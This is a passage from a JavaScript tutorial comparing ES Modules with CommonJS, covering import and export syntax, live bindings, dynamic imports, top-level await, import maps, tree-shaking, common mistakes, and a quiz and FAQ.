Dynamic (runtime) |\n| **Exports** | Live bindings (references) | Value copies |\n| **Strict mode** | Always enabled | Optional |\n| **Top-level `this`** | `undefined` | `module.exports` |\n| **File extensions** | Required in browsers | Optional in Node |\n| **Tree-shaking** | Yes | No |\n\n### Syntax Side-by-Side\n\n```javascript\n// ─────────────────────────────────────────────\n// COMMONJS (Node.js traditional)\n// ─────────────────────────────────────────────\n\n// Exporting\nconst PI = 3.14159\nfunction square(x) { return x * x }\n\nmodule.exports = { PI, square }\n// or: exports.PI = PI\n\n// Importing\nconst { PI, square } = require('./math')\nconst math = require('./math')  // whole module\n\n\n// ─────────────────────────────────────────────\n// ES MODULES (modern standard)\n// ─────────────────────────────────────────────\n\n// Exporting\nexport const PI = 3.14159\nexport function square(x) { return x * x }\n\n// Importing\nimport { PI, square } from './math.js'\nimport * as math from './math.js'  // namespace import\n```\n\n### Static vs Dynamic: Why It Matters\n\nCommonJS imports are function calls that happen at runtime. You can put them anywhere, compute the path dynamically, and even conditionally require different modules:\n\n```javascript\n// CommonJS - Dynamic (works but prevents optimization)\nconst moduleName = condition ? 'moduleA' : 'moduleB'\nconst mod = require(`./${moduleName}`)\n\nif (needsFeature) {\n  const feature = require('./heavy-feature')\n}\n```\n\nESM imports must be at the top level with string literals. This seems restrictive, but it's a feature, not a bug:\n\n```javascript\n// ES Modules - Static (enables optimization)\nimport { feature } from './heavy-feature.js'  // must be top-level\nimport { helper } from './utils.js'           // path must be a string\n\n// ❌ These are syntax errors in ESM:\n// import { x } from condition ? 'a.js' : 'b.js'\n// if (condition) { import { y } from './module.js' }\n```\n\nBecause ESM imports are static, bundlers can build a complete picture of your dependencies before running any code. This enables dead code elimination, bundle splitting, and other optimizations.\n\n<Tip>\n**Need dynamic loading in ESM?** Use `import()` for dynamic imports (covered later in this guide). You get the best of both worlds: static analysis for your main code, dynamic loading when you actually need it.\n</Tip>\n\n### Async vs Sync Loading\n\nCommonJS loads modules synchronously. When Node.js hits a `require()`, it blocks until the file is read and executed. This works fine on a server with fast disk access.\n\nESM loads modules asynchronously. The browser fetches module files over the network, which can't block the main thread. This async nature is why:\n\n- ESM works natively in browsers\n- Top-level `await` is possible in ESM\n- The loading behavior is more predictable\n\n---\n\n## Live Bindings: Why ESM Exports Are Different\n\nHere's a difference that trips people up. As [MDN documents](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules), when you import from a CommonJS module, you get a **copy** of the exported value. When you import from an ES Module, you get a **live binding**: a reference to the original variable.\n\n```javascript\n// ─────────────────────────────────────────────\n// counter.cjs (CommonJS)\n// ─────────────────────────────────────────────\nlet count = 0\nfunction increment() { count++ }\nfunction getCount() { return count }\n\nmodule.exports = { count, increment, getCount }\n\n\n// ─────────────────────────────────────────────\n// main.cjs (CommonJS consumer)\n// ─────────────────────────────────────────────\nconst { count, increment, getCount } = require('./counter.cjs')\n\nconsole.log(count)      // 0\nincrement()\nconsole.log(count)      // 0 (still! it's a copy)\nconsole.log(getCount()) // 1 (function reads the real value)\n```\n\n```javascript\n// ─────────────────────────────────────────────\n// counter.mjs (ES Module)\n// ─────────────────────────────────────────────\nexport let count = 0\nexport function increment() { count++ }\n\n\n// ─────────────────────────────────────────────\n// main.mjs (ESM consumer)\n// ─────────────────────────────────────────────\nimport { count, increment } from './counter.mjs'\n\nconsole.log(count)  // 0\nincrement()\nconsole.log(count)  // 1 (live binding reflects the change!)\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         LIVE BINDINGS EXPLAINED                          │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  COMMONJS (Value Copy)                   ES MODULES (Live Binding)       │\n│  ─────────────────────                   ────────────────────────        │\n│                                                                          │\n│  counter.js:                             counter.js:                     │\n│  ┌─────────────┐                         ┌─────────────┐                 │\n│  │ count: 1    │                         │ count: 1    │ ◄───────┐       │\n│  └─────────────┘                         └─────────────┘         │       │\n│         │                                       ▲                │       │\n│         │ copy at                               │ reference      │       │\n│         │ require time                          │ always         │       │\n│         ▼                                       │ current        │       │\n│  main.js:                                main.js:                │       │\n│  ┌─────────────┐                         ┌─────────────┐         │       │\n│  │ count: 0    │ (stale!)                │ count ──────┼─────────┘       │\n│  └─────────────┘                         └─────────────┘                 │\n│                                                                          │\n│  The imported value is                   The import IS the               │\n│  frozen at require time                  original variable               │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Why Live Bindings Matter\n\nLive bindings have practical implications:\n\n1. **Singleton state works correctly** — If a module exports state, all importers see the same state\n2. **Circular dependencies are safer** — Because bindings are live, you can have modules that depend on each other (though you should still avoid this when possible)\n3. **You can't reassign imports** — `count = 5` throws an error because you don't own that binding\n\n```javascript\nimport { count } from './counter.js'\n\ncount = 10  // ❌ TypeError: imported bindings are read-only\n            // Even though 'count' is 'let' in the source, you can't reassign it here\n```\n\n<Note>\nImported bindings are always read-only to the importer. Only the module that exports a variable can modify it. This prevents confusing \"action at a distance\" bugs.\n</Note>\n\n---\n\n## Export Syntax Deep Dive\n\nES Modules give you several ways to export functionality. Here's the complete picture.\n\n### Named Exports\n\nThe most common pattern. You can export inline or group exports at the bottom:\n\n```javascript\n// Inline named exports\nexport const PI = 3.14159\nexport function calculateArea(radius) {\n  return PI * radius * radius\n}\nexport class Circle {\n  constructor(radius) {\n    this.radius = radius\n  }\n}\n\n// Or group them at the bottom (same result)\nconst PI = 3.14159\nfunction calculateArea(radius) {\n  return PI * radius * radius\n}\nclass Circle {\n  constructor(radius) {\n    this.radius = radius\n  }\n}\n\nexport { PI, calculateArea, Circle }\n```\n\n### Renaming Exports\n\nUse `as` to export under a different name:\n\n```javascript\nfunction internalHelper() { /* ... */ }\n\nexport { internalHelper as helper }\n// Consumers import as: import { helper } from './module.js'\n```\n\n### Default Exports\n\nEach module can have one default export. It represents the module's \"main\" thing:\n\n```javascript\n// A class as default export\nexport default class Logger {\n  log(message) {\n    console.log(`[LOG] ${message}`)\n  }\n}\n\n// Or a function\nexport default function formatDate(date) {\n  return date.toISOString()\n}\n\n// Or a value (note: no variable declaration with default)\nexport default {\n  name: 'Config',\n  version: '1.0.0'\n}\n```\n\n### Mixing Named and Default Exports\n\nYou can have both, though use this sparingly:\n\n```javascript\n// React does this: default for the main API, named for utilities\nexport default function React() { /* ... */ }\nexport function useState() { /* ... */ }\nexport function useEffect() { /* ... */ }\n\n// Consumer can import both:\nimport React, { useState, useEffect } from 'react'\n```\n\n### Re-Exporting (Barrel Files)\n\nRe-exports let you aggregate multiple modules into one entry point. This is common in libraries:\n\n```javascript\n// utils/index.js (barrel file)\nexport { formatDate, parseDate } from './date.js'\nexport { formatCurrency } from './currency.js'\nexport { default as Logger } from './logger.js'\n\n// Re-export everything from a module\nexport * from './math.js'\n\n// Re-export with rename\nexport { helper as utilHelper } from './helpers.js'\n```\n\nNow consumers can import from one place:\n\n```javascript\nimport { formatDate, formatCurrency, Logger } from './utils/index.js'\n```\n\n<Warning>\n**Barrel file gotcha:** Re-exporting everything with `export *` can hurt tree-shaking. The bundler may include code you don't use. Prefer explicit re-exports for better optimization.\n</Warning>\n\n---\n\n## Import Syntax Deep Dive\n\nEvery export style has a corresponding import style.\n\n### Named Imports\n\nImport specific exports by name (must match exactly):\n\n```javascript\nimport { PI, calculateArea } from './math.js'\nimport { formatDate } from './date.js'\n```\n\n### Renaming Imports\n\nUse `as` when names conflict or you want something clearer:\n\n```javascript\nimport { formatDate as formatDateISO } from './date.js'\nimport { formatDate as formatDateUS } from './date-us.js'\n```\n\n### Default Imports\n\nNo curly braces. You choose the name:\n\n```javascript\n// The module exports: export default class Logger { }\nimport Logger from './logger.js'      // common convention: match the export\nimport MyLogger from './logger.js'    // but any name works\nimport L from './logger.js'           // even short names\n```\n\n### Namespace Imports\n\nImport everything as a single object:\n\n```javascript\nimport * as math from './math.js'\n\nconsole.log(math.PI)              // 3.14159\nconsole.log(math.calculateArea(5)) // 78.54\nconsole.log(math.default)         // the default export, if any\n```\n\n### Combined Imports\n\nMixing default and named in one statement:\n\n```javascript\n// Module exports both default and named\nimport React, { useState, useEffect } from 'react'\nimport lodash, { debounce, throttle } from 'lodash'\n```\n\n### Side-Effect Imports\n\nImport a module just for its side effects (no bindings):\n\n```javascript\nimport './polyfills.js'       // runs the file, imports nothing\nimport './analytics.js'       // sets up tracking\nimport './styles.css'         // with bundler support\n```\n\n### Module Specifiers\n\nThe string after `from` is called the module specifier:\n\n```javascript\n// Relative paths (start with ./ or ../)\nimport { x } from './utils.js'\nimport { y } from '../shared/helpers.js'\n\n// Absolute paths (less common)\nimport { z } from '/lib/utils.js'\n\n// Bare specifiers (no path prefix)\nimport { useState } from 'react'        // needs bundler or import map\nimport lodash from 'lodash'\n```\n\n<Tip>\n**Bare specifiers** like `'react'` don't work in browsers by default — browsers don't know where to find `'react'`. You need either a bundler or an import map (covered later).\n</Tip>\n\n---\n\n## Module Characteristics\n\nES Modules have built-in behaviors that differ from regular scripts.\n\n### Automatic Strict Mode\n\nEvery ES Module runs in strict mode automatically. No `\"use strict\"` needed:\n\n```javascript\n// In a module, this throws an error:\nundeclaredVariable = 'oops'  // ReferenceError: undeclaredVariable is not defined\n\n// These also fail:\ndelete Object.prototype      // TypeError\nfunction f(a, a) {}          // SyntaxError: duplicate parameter\n```\n\n### Module Scope\n\nVariables in a module are local to that module, not global:\n\n```javascript\n// module.js\nconst privateValue = 'secret'  // not on window/global\nvar alsoPrivate = 'hidden'     // var doesn't leak to global either\n\n// Only exports are accessible from outside\nexport const publicValue = 'visible'\n```\n\n### Singleton Behavior\n\nA module's code runs exactly once, no matter how many times you import it:\n\n```javascript\n// counter.js\nconsole.log('Module initialized!')  // logs once\nexport let count = 0\n\n// a.js\nimport { count } from './counter.js'  // \"Module initialized!\"\n\n// b.js  \nimport { count } from './counter.js'  // nothing logged (already ran)\n```\n\nThis makes modules natural singletons. All importers share the same instance.\n\n### `this` is `undefined`\n\nAt the top level of a module, `this` is `undefined` (not `window` or `global`):\n\n```javascript\n// script.js (regular script)\nconsole.log(this)  // window (in browser)\n\n// module.js (ES Module)\nconsole.log(this)  // undefined\n```\n\n### Import Hoisting\n\nImports are hoisted to the top of the module. You can reference imported values before the import statement in code order (though you shouldn't):\n\n```javascript\n// This works (but don't write code like this)\nconsole.log(helper())  // imports are hoisted\n\nimport { helper } from './utils.js'\n```\n\n### Deferred Execution in Browsers\n\nModule scripts are deferred by default. They don't block HTML parsing and execute after the document is parsed:\n\n```html\n<!-- Blocks parsing until loaded and executed -->\n<script src=\"blocking.js\"></script>\n\n<!-- Deferred automatically (like adding defer attribute) -->\n<script type=\"module\" src=\"module.js\"></script>\n```\n\n---\n\n## Dynamic Imports\n\nStatic imports must be at the top level, but sometimes you need to load modules dynamically. That's what `import()` is for.\n\n### The `import()` Expression\n\n[`import()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import) looks like a function call, but it's special syntax. It returns a Promise that resolves to the module's namespace object:\n\n```javascript\n// Load a module dynamically\nconst module = await import('./math.js')\nconsole.log(module.PI)            // 3.14159\nconsole.log(module.default)       // the default export, if any\n\n// Or with .then()\nimport('./math.js').then(module => {\n  console.log(module.PI)\n})\n```\n\n### Accessing Exports\n\nWith dynamic imports, you get a module namespace object:\n\n```javascript\n// Named exports are properties\nconst { formatDate, parseDate } = await import('./date.js')\n\n// Default export is on the 'default' property\nconst { default: Logger } = await import('./logger.js')\n// or\nconst loggerModule = await import('./logger.js')\nconst Logger = loggerModule.default\n```\n\n### Real-World Use Cases\n\n**Route-based code splitting:**\n\n```javascript\n// Load page components only when navigating\nasync function loadPage(pageName) {\n  const pages = {\n    home: () => import('./pages/Home.js'),\n    about: () => import('./pages/About.js'),\n    contact: () => import('./pages/Contact.js')\n  }\n  \n  const pageModule = await pages[pageName]()\n  return pageModule.default\n}\n```\n\n**Conditional feature loading:**\n\n```javascript\n// Only load heavy charting library if user needs it\nasync function showChart(data) {\n  const { Chart } = await import('chart.js')\n  const chart = new Chart(canvas, { /* ... */ })\n}\n```\n\n**Lazy loading based on feature detection:**\n\n```javascript\nlet crypto\n\nif (typeof window !== 'undefined' && window.crypto) {\n  crypto = window.crypto\n} else {\n  // Only load polyfill in environments that need it\n  const module = await import('crypto-polyfill')\n  crypto = module.default\n}\n```\n\n**Loading based on user preference:**\n\n```javascript\nasync function loadTheme(themeName) {\n  // Path is computed at runtime - not possible with static imports\n  const theme = await import(`./themes/${themeName}.js`)\n  applyTheme(theme.default)\n}\n```\n\n<Note>\n`import()` works in regular scripts too, not just modules. This is useful for adding ESM libraries to legacy codebases.\n</Note>\n\n---\n\n## Top-Level Await\n\nES Modules support `await` at the top level, outside of any function. This is useful for setup that requires async operations.\n\n```javascript\n// config.js\nconst response = await fetch('/api/config')\nexport const config = await response.json()\n\n// database.js\nimport { MongoClient } from 'mongodb'\nconst client = new MongoClient(uri)\nawait client.connect()\nexport const db = client.db('myapp')\n```\n\n### How It Affects Module Loading\n\nWhen a module uses top-level await, it blocks modules that depend on it:\n\n```javascript\n// slow.js\nawait new Promise(r => setTimeout(r, 2000))  // 2 second delay\nexport const value = 42\n\n// app.js\nimport { value } from './slow.js'  // waits for slow.js to finish\nconsole.log(value)  // logs after 2 seconds\n```\n\nModules that don't depend on `slow.js` can still load in parallel.\n\n### When to Use (and When Not To)\n\n**Good uses:**\n\n```javascript\n// Loading configuration at startup\nexport const config = await loadConfig()\n\n// Database connection that's needed before anything else\nexport const db = await connectToDatabase()\n\n// One-time initialization\nawait initializeAnalytics()\n```\n\n**Avoid:**\n\n```javascript\n// ❌ Don't do slow operations that could be lazy\nconst heavyData = await fetch('/api/huge-dataset')  // blocks everything\n\n// ✓ Better: export a function that fetches when needed\nexport async function getHeavyData() {\n  return fetch('/api/huge-dataset')\n}\n```\n\n<Warning>\nTop-level await can create waterfall loading. If module A awaits and module B depends on A, then module C depends on B, everything loads sequentially. Use it judiciously.\n</Warning>\n\n---\n\n## Browser vs Node.js: ESM Differences\n\nES Modules work in both browsers and Node.js, but there are differences in how you enable and use them.\n\n### Enabling ESM\n\n| Environment | How to Enable |\n|-------------|---------------|\n| **Browser** | `<script type=\"module\" src=\"app.js\"></script>` |\n| **Node.js** | Use `.mjs` extension, or set `\"type\": \"module\"` in package.json |\n\n**Browser:**\n\n```html\n<!-- The type=\"module\" attribute enables ESM -->\n<script type=\"module\" src=\"./app.js\"></script>\n\n<!-- Inline module -->\n<script type=\"module\">\n  import { greet } from './utils.js'\n  greet('World')\n</script>\n```\n\n**Node.js:**\n\n```javascript\n// Option 1: Use .mjs extension\n// math.mjs\nexport const add = (a, b) => a + b\n\n// Option 2: Set type in package.json\n// package.json: { \"type\": \"module\" }\n// Then .js files are treated as ESM\n```\n\n### File Extensions\n\n| Environment | Extension Required? |\n|-------------|---------------------|\n| **Browser** | Yes — must include `.js` or full URL |\n| **Node.js** | Yes for ESM (can omit for CommonJS) |\n\n```javascript\n// Browser - extensions required\nimport { helper } from './utils.js'       // ✓\nimport { helper } from './utils'          // ❌ 404 error\n\n// Node.js ESM - extensions required\nimport { helper } from './utils.js'       // ✓\nimport { helper } from './utils'          // ❌ ERR_MODULE_NOT_FOUND\n```\n\n### Bare Specifiers\n\n```javascript\nimport lodash from 'lodash'  // \"bare specifier\" - no path prefix\n```\n\n| Environment | Bare Specifier Support |\n|-------------|------------------------|\n| **Browser** | No (needs import map or bundler) |\n| **Node.js** | Yes (looks in node_modules) |\n\n### `import.meta`\n\nBoth environments provide [`import.meta`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import.meta), but with different properties:\n\n```javascript\n// Browser\nconsole.log(import.meta.url)  // \"https://example.com/js/app.js\"\n\n// Node.js\nconsole.log(import.meta.url)  // \"file:///path/to/app.js\"\nconsole.log(import.meta.dirname)  // \"/path/to\" (Node v20.11.0+)\nconsole.log(import.meta.filename) // \"/path/to/app.js\" (Node v20.11.0+)\n```\n\n### CORS in Browsers\n\nWhen loading modules from different origins, browsers enforce CORS:\n\n```html\n<!-- Same-origin: works fine -->\n<script type=\"module\" src=\"/js/app.js\"></script>\n\n<!-- Cross-origin: server must send CORS headers -->\n<script type=\"module\" src=\"https://other-site.com/module.js\"></script>\n<!-- Requires: Access-Control-Allow-Origin header -->\n```\n\n### Summary Table\n\n| Feature | Browser | Node.js |\n|---------|---------|---------|\n| Enable via | `type=\"module\"` | `.mjs` or `\"type\": \"module\"` |\n| File extensions | Required | Required for ESM |\n| Bare specifiers | Import map needed | Works (node_modules) |\n| Top-level await | Yes | Yes |\n| `import.meta.url` | Full URL | `file://` path |\n| CORS | Enforced | N/A |\n| Runs in strict mode | Yes | Yes |\n\n---\n\n## Import Maps\n\n[Import maps](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap) solve a browser problem: how do you use bare specifiers like `'lodash'` without a bundler?\n\n### The Problem\n\nThis works in Node.js because Node looks in `node_modules`:\n\n```javascript\nimport confetti from 'canvas-confetti'  // Node: finds it in node_modules\n```\n\nIn browsers, this fails — the browser doesn't know where `'canvas-confetti'` lives.\n\n### The Solution: Import Maps\n\nAn import map tells the browser where to find modules:\n\n```html\n<script type=\"importmap\">\n{\n  \"imports\": {\n    \"canvas-confetti\": \"https://cdn.jsdelivr.net/npm/canvas-confetti@1.6.0/dist/confetti.module.mjs\",\n    \"lodash\": \"https://cdn.jsdelivr.net/npm/lodash-es@4.17.21/lodash.js\"\n  }\n}\n</script>\n\n<script type=\"module\">\n  // Now bare specifiers work!\n  import confetti from 'canvas-confetti'\n  import { debounce } from 'lodash'\n  \n  confetti()\n</script>\n```\n\n### Path Prefixes\n\nMap entire package paths:\n\n```html\n<script type=\"importmap\">\n{\n  \"imports\": {\n    \"lodash/\": \"https://cdn.jsdelivr.net/npm/lodash-es@4.17.21/\"\n  }\n}\n</script>\n\n<script type=\"module\">\n  // The trailing slash enables path mapping\n  import debounce from 'lodash/debounce.js'\n  import throttle from 'lodash/throttle.js'\n</script>\n```\n\n### Browser Support\n\nImport maps are supported in all modern browsers (Chrome 89+, Safari 16.4+, Firefox 108+). For older browsers, you'll need a polyfill or bundler.\n\n<Tip>\nImport maps are great for simple projects, demos, and learning. For production apps with many dependencies, bundlers like Vite still provide better optimization and developer experience.\n</Tip>\n\n---\n\n## Tree-Shaking and Bundlers\n\nOne of ESM's biggest advantages is enabling tree-shaking, which bundlers use to eliminate dead code.\n\n### What is Tree-Shaking?\n\nTree-shaking removes unused exports from your final bundle:\n\n```javascript\n// math.js\nexport function add(a, b) { return a + b }\nexport function subtract(a, b) { return a - b }\nexport function multiply(a, b) { return a * b }\nexport function divide(a, b) { return a / b }\n\n// app.js\nimport { add } from './math.js'\nconsole.log(add(2, 3))\n```\n\nA tree-shaking bundler sees that only `add` is used, so `subtract`, `multiply`, and `divide` are removed from the bundle.\n\n### Why ESM Enables This\n\nCommonJS can't be reliably tree-shaken because imports are dynamic:\n\n```javascript\n// CommonJS - bundler can't know which exports are used\nconst math = require('./math')\nconst operation = userInput === 'add' ? math.add : math.subtract\n```\n\nESM imports are static declarations, so the bundler knows exactly what's imported:\n\n```javascript\n// ESM - bundler knows only 'add' is used\nimport { add } from './math.js'\n```\n\n### Modern Bundlers\n\nEven with native ESM support in browsers, bundlers remain valuable for:\n\n- **Tree-shaking** — Remove unused code\n- **Code splitting** — Break your app into smaller chunks\n- **Minification** — Shrink code for production\n- **Transpilation** — Support older browsers\n- **Asset handling** — Import CSS, images, JSON\n\nPopular options:\n- **Vite** — Fast development, Rollup-based production builds\n- **esbuild** — Extremely fast, great for libraries\n- **Rollup** — Best tree-shaking, ideal for libraries\n- **Webpack** — Most features, larger projects\n\n<Note>\nFor small projects or learning, you can use native ESM in browsers without a bundler. For production apps, bundlers still provide significant benefits.\n</Note>\n\n---\n\n## Common Mistakes\n\n### Mistake #1: Named vs Default Import Confusion\n\nThis is the most common ESM mistake. The syntax looks similar but means different things:\n\n```javascript\n// ─────────────────────────────────────────────\n// The module exports this:\nexport default function Logger() {}\nexport function format() {}\n\n// ─────────────────────────────────────────────\n\n// ❌ WRONG - trying to import default as named\nimport { Logger } from './logger.js'\n// Error: The module doesn't have a named export called 'Logger'\n\n// ✓ CORRECT - no braces for default\nimport Logger from './logger.js'\n\n// ✓ CORRECT - braces for named exports\nimport { format } from './logger.js'\n\n// ✓ CORRECT - both together\nimport Logger, { format } from './logger.js'\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THE CURLY BRACE RULE                                  │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   export default X      →    import X from '...'      (no braces)       │\n│   export { Y }          →    import { Y } from '...'  (braces)          │\n│   export { Z as W }     →    import { W } from '...'  (braces)          │\n│                                                                          │\n│   Default = main thing, you name it                                      │\n│   Named = specific items, names must match                               │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Mistake #2: Circular Dependencies\n\nWhen module A imports module B, and module B imports module A, you can get `undefined` values:\n\n```javascript\n// a.js\nimport { b } from './b.js'\nexport const a = 'A'\nconsole.log('In a.js, b is:', b)\n\n// b.js\nimport { a } from './a.js'\nexport const b = 'B'\nconsole.log('In b.js, a is:', a)\n\n// Running a.js throws:\n// ReferenceError: Cannot access 'a' before initialization\n// (a.js hasn't finished executing when b.js tries to access 'a')\n```\n\n**Fix:** Restructure to avoid circular deps, or use functions that defer access until runtime:\n\n```javascript\n// Better: export functions that read values at call time\nexport function getA() { return a }\n```\n\n### Mistake #3: Missing File Extensions in Browsers\n\n```javascript\n// ❌ WRONG in browsers\nimport { helper } from './utils'  // 404 error\n\n// ✓ CORRECT\nimport { helper } from './utils.js'\n```\n\n### Mistake #4: Mixing CommonJS and ESM in Node.js\n\nYou can't use `require()` in an ESM file or `import` in a CommonJS file without extra steps:\n\n```javascript\n// ❌ In an ESM file (.mjs or type: module)\nconst fs = require('fs')  // ReferenceError: require is not defined\n\n// ✓ CORRECT in ESM\nimport fs from 'fs'\nimport { readFile } from 'fs/promises'\n\n// ✓ If you really need require in ESM\nimport { createRequire } from 'module'\nconst require = createRequire(import.meta.url)\nconst legacyModule = require('some-commonjs-package')\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **ESM is JavaScript's official module system** — It's standardized, works in browsers natively, and is the future of JavaScript modules.\n\n2. **Static structure enables optimization** — Because imports are declarations, not function calls, tools can analyze your code and remove unused exports (tree-shaking).\n\n3. **Live bindings, not copies** — ESM exports are references to the original variable. Changes in the source module are reflected in importers. CommonJS exports are value copies.\n\n4. **Use curly braces for named imports, no braces for default** — `import { named }` vs `import defaultExport`. Mixing these up is the #1 beginner mistake.\n\n5. **Dynamic imports for code splitting** — Use `import()` when you need to load modules conditionally or lazily. It returns a Promise.\n\n6. **ESM is always strict mode** — No need for `\"use strict\"`. Variables don't leak to global scope.\n\n7. **Modules execute once** — No matter how many files import a module, its top-level code runs exactly once. Modules are singletons.\n\n8. **File extensions are required** — In browsers and Node.js ESM, you must include `.js`. No automatic extension resolution.\n\n9. **Import maps solve bare specifiers in browsers** — Without a bundler, use import maps to tell browsers where to find packages like `'lodash'`.\n\n10. **Bundlers still matter** — Even with native ESM support, bundlers provide tree-shaking, minification, and code splitting that improve production performance.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"What's the fundamental difference between ESM and CommonJS that enables tree-shaking?\">\n    **Answer:**\n    \n    ESM imports are **static** — they must be at the top level with string literals. This means bundlers can analyze the entire dependency graph at build time without running any code.\n    \n    CommonJS uses **dynamic** `require()` calls that execute at runtime. The module path can be computed (`require(variable)`), used conditionally, or placed anywhere in code. Bundlers can't know what's actually imported until the code runs.\n    \n    ```javascript\n    // ESM - bundler sees exactly what's imported\n    import { add } from './math.js'  // static, analyzable\n    \n    // CommonJS - bundler can't be certain\n    const op = condition ? 'add' : 'subtract'\n    const math = require('./math')\n    math[op](1, 2)  // which function is used? Unknown until runtime\n    ```\n  </Accordion>\n  \n  <Accordion title=\"What are 'live bindings' and how do they differ from CommonJS exports?\">\n    **Answer:**\n    \n    In ESM, imported bindings are **live references** to the exported variables. If the source module changes the value, importers see the new value.\n    \n    In CommonJS, `module.exports` provides **value copies** at the time of `require()`. Later changes in the source don't affect what was imported.\n    \n    ```javascript\n    // ESM: live binding\n    // counter.mjs\n    export let count = 0\n    export function increment() { count++ }\n    \n    // main.mjs\n    import { count, increment } from './counter.mjs'\n    console.log(count)  // 0\n    increment()\n    console.log(count)  // 1 (live!)\n    \n    // CommonJS: copy\n    // counter.cjs\n    let count = 0\n    module.exports = { count, increment: () => count++ }\n    \n    // main.cjs\n    const { count, increment } = require('./counter.cjs')\n    console.log(count)  // 0\n    increment()\n    console.log(count)  // 0 (still - it's a copy)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"When would you use dynamic imports over static imports?\">\n    **Answer:**\n    \n    Use `import()` when you need to:\n    \n    1. **Load modules conditionally** — Based on user action, feature flags, or environment\n    2. **Code split** — Load heavy components only when needed (route-based splitting)\n    3. **Compute the module path** — The path is determined at runtime\n    4. **Load modules in non-module scripts** — `import()` works even in regular scripts\n    \n    ```javascript\n    // Route-based code splitting\n    async function loadPage(route) {\n      const page = await import(`./pages/${route}.js`)\n      return page.default\n    }\n    \n    // Conditional loading\n    if (userWantsCharts) {\n      const { Chart } = await import('chart.js')\n    }\n    ```\n    \n    Static imports are better when you always need the module — they're faster to analyze and optimize.\n  </Accordion>\n  \n  <Accordion title=\"Why do browsers require file extensions in imports, but Node.js CommonJS doesn't?\">\n    **Answer:**\n    \n    **Browsers** make HTTP requests for imports. Without an extension, the browser doesn't know what URL to request. It can't try multiple extensions (`.js`, `.mjs`, `/index.js`) because each would be a separate network request.\n    \n    **Node.js CommonJS** runs on the local file system where checking multiple file variations is fast. It tries: exact path → `.js` → `.json` → `.node` → `/index.js`, etc.\n    \n    **Node.js ESM** chose to require extensions for consistency with browsers and to avoid the ambiguity of the CommonJS resolution algorithm.\n    \n    ```javascript\n    // Browser - must include extension\n    import { x } from './utils.js'     // ✓\n    import { x } from './utils'        // ❌ 404\n    \n    // Node CommonJS - extension optional\n    const x = require('./utils')       // ✓ finds utils.js\n    \n    // Node ESM - extension required\n    import { x } from './utils.js'     // ✓\n    import { x } from './utils'        // ❌ ERR_MODULE_NOT_FOUND\n    ```\n  </Accordion>\n  \n  <Accordion title=\"What is an import map and when would you use one?\">\n    **Answer:**\n    \n    An import map is a JSON object that tells browsers how to resolve bare module specifiers (like `'lodash'`). It maps package names to URLs.\n    \n    ```html\n    <script type=\"importmap\">\n    {\n      \"imports\": {\n        \"lodash\": \"https://cdn.jsdelivr.net/npm/lodash-es/lodash.js\",\n        \"lodash/\": \"https://cdn.jsdelivr.net/npm/lodash-es/\"\n      }\n    }\n    </script>\n    \n    <script type=\"module\">\n      import { debounce } from 'lodash'  // works now!\n    </script>\n    ```\n    \n    **Use import maps when:**\n    - Building simple apps without a bundler\n    - Creating demos or examples\n    - Learning/prototyping\n    - You want CDN-based dependencies\n    \n    For production apps with many dependencies, bundlers usually provide better optimization.\n  </Accordion>\n  \n  <Accordion title=\"What happens if two modules import each other (circular dependency)?\">\n    **Answer:**\n    \n    ESM handles circular dependencies, but you can get errors for values that haven't been initialized yet.\n    \n    ```javascript\n    // a.js\n    import { b } from './b.js'\n    export const a = 'A'\n    console.log(b)  // 'B' (b.js already ran)\n    \n    // b.js\n    import { a } from './a.js'\n    export const b = 'B'\n    console.log(a)  // ReferenceError! (a.js hasn't finished)\n    ```\n    \n    When b.js runs, a.js is still in the middle of executing (it imported b.js), so accessing `a` throws a `ReferenceError: Cannot access 'a' before initialization` because `const` declarations have a temporal dead zone (TDZ).\n    \n    **Solutions:**\n    1. Restructure to avoid circular dependencies\n    2. Move shared code to a third module\n    3. Use functions that access values later (not at module load time)\n    \n    ```javascript\n    // Works: function accesses 'a' when called, not when defined\n    export function getA() { return a }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What are ES Modules in JavaScript?\">\n    ES Modules (ESM) are JavaScript's official module system, standardized in ES2015. They use `import` and `export` statements to share code between files. Unlike older module systems like CommonJS, ESM is statically analyzable, meaning tools can determine your dependency graph at build time rather than runtime.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between ES Modules and CommonJS?\">\n    The key differences are: ESM uses `import`/`export` while CommonJS uses `require()`/`module.exports`; ESM loads asynchronously while CommonJS is synchronous; ESM provides live bindings (references) while CommonJS creates value copies. According to the Node.js documentation, ESM is the standard for new projects, though CommonJS remains widely used in existing codebases.\n  </Accordion>\n\n  <Accordion title=\"How does tree-shaking work with ES Modules?\">\n    Tree-shaking removes unused code from your final bundle. It works because ESM imports and exports are static declarations — bundlers like webpack and Rollup can analyze which exports are actually used and eliminate the rest. This optimization is impossible with CommonJS because `require()` calls can be dynamic and conditional.\n  </Accordion>\n\n  <Accordion title=\"What are live bindings in ES Modules?\">\n    Live bindings mean that when you import a value from an ES Module, you get a read-only reference to the original variable, not a copy. If the exporting module changes that variable, the importing module sees the updated value. MDN documents this as one of the key distinctions between ESM and CommonJS.\n  </Accordion>\n\n  <Accordion title=\"How do dynamic imports work in JavaScript?\">\n    Dynamic imports use the `import()` function, which returns a Promise that resolves to the module's namespace object. Unlike static `import` declarations, `import()` can be called anywhere in your code — inside conditionals, loops, or event handlers. This enables code splitting and lazy loading of modules on demand.\n  </Accordion>\n\n  <Accordion title=\"Do I need a bundler to use ES Modules?\">\n    No. All modern browsers support ES Modules natively via `<script type=\"module\">`. However, bundlers like webpack, Rollup, and Vite still provide benefits for production: tree-shaking, code 